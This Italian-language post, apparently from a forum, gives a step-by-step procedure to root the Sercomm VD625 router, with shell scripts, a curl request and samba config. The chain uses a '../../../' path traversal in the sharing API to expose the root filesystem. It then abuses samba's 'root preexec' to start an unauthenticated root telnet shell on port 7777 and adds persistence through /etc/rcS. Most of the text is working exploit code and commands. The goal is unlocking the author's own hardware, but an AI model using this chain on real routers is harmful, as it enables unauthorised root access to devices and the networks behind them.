Come da titolo vi mostro il procedimento per root/sblocco del Sercomm VD625 (firmware 2.0.0):- attivare le condivisone usb inserendo una chiavetta formatta in fat32 con dentro il file runme:
#!/bin/sh
exec > /mnt/shares/USB2FlashStorage/Partition1/it_worked 2>&1
set -x
ps
date
iptables -D INPUT -i ! br0 -p tcp --dport 7777 -j DROP >/dev/null 2>&1
iptables -I INPUT -i ! br0 -p tcp --dport 7777 -j DROP
/bin/telnetd -F -p 7777 -l /bin/sh&
- eseguire la chiamata da curl per attivare la condivisione di / del router:
(csrf_token va aggiornato ogni volta prendendolo dalla webgui da una richiesta a caso)curl -X POST -i 'http://192.168.1.1/data/settings_content_sharing_device.json?_=1551786266690&csrf_token=HK08CC1C89JW113A2638' --data 'sharing_device=[{"device_id":"1","root_folder":"/","ns_content_sharing_enable":"1","ns_require_username_password":"0","ns_user_id":"1","ns_share_all_folders":"0","ns_share_folder_data":"1|root|../../../:0|Partition1|:"}]'
- una volta fatto ciò disattivare e riattivare la condivisione usb dalla webgui del router per applicare le modifiche
- andiamo con dolphin sulla cartella appena condivisa (se su windows andiamo con condivisione di rete)
smb://admin@IPDELROUTER/- il processo samba è spawnato con utente nobody e quindi senza privilegi di root per ovviare al problema sostituire il file
smb.conf del router presente nella cartella condivisa /root/etc/samba/ (una delle poche cartelle con permessi di scrittura)
- il file smb.conf non fa altro che aggiungere/sostituire:
[global]
...
log file = /tmp/a1
config file = /etc/samba/smb.conf (remove this)
[Partition1]
...
root preexec = /bin/sh -c "/mnt/shares/USB2FlashStorage/Partition1/runme &"
- questo non farà altro che forzare smb ad eseguire come root il comando presente sulla chiavetta inserita da cui partirà
il pocesso di telnet come root sulla porta 7777
- per avviare il tutto navigare sulla cartella condivisa /Partition1/USB2FlashStorage/Partition1/ e /root/etc/samba/ e refreshare
- nella cartella /tmp/ apparirà a1 un log di smbd per debuggare eventuali problemi
- nella cartella /Partition1/USB2FlashStorage/Partition1/ apparirà il file it_worked che ci dimostrerà il buon esito del tutto
- ora non ci resta che conneterci con telnet all'ip del router sulla porta 7777
- rimontare la root in rw si può fare senza problemi di signature (/dev/mtdblock7 - /dev/mtdbloc6 in questo caso sono sul blocco 7)
mount -n -t jffs2 -o rw,remount /dev/mtdblock7 /
- inserire in /etc/rcS:
...
dopo questa linea "mount -n -t ramfs ramfs /tmp":
...
#log
exec > /tmp/bootlog 2>&1
set -x
...
modificare questa linea "rc init > /dev/null" in rc "init"
...
dopo l'ultima linea:
...
# my
mkdir -m 0777 /mnt/my/
mount -n -t vfat -o rw /dev/sda1 /mnt/my/
/usr/sbin/ls "/mnt/my"
((/usr/sbin/sh /mnt/my/runme 0<&- &>/dev/null &) &)
- prima di riavviare disattivare le cartelle condivise dal router e rimontare in ro la partizione /
mount -n -t jffs2 -o ro,remount /dev/mtdblock7 /
reboot
*** SercommVD625.iso Telecom Italia_VD625_AGSOT_1.0.8.tar/Telecom Italia_VD625_AGSOT_1.0.8/VD625_v1.0.8/build/VD625/target.tgz (file della gui)
*** AGSOT_1.0.8.img (per estrarre l'immagine utilizzare prima sercomm_fwutils-master per img e poi jefferson per il kernel)
*** Per scaricare la configurazione del router usare il comando "cmld_client get_node Device."https://github.com/xMase/Sercomm-VD625PS: è ancora grezzo però, se volete partecipare sentitevi liberi di inoltrare delle
pull request sul repository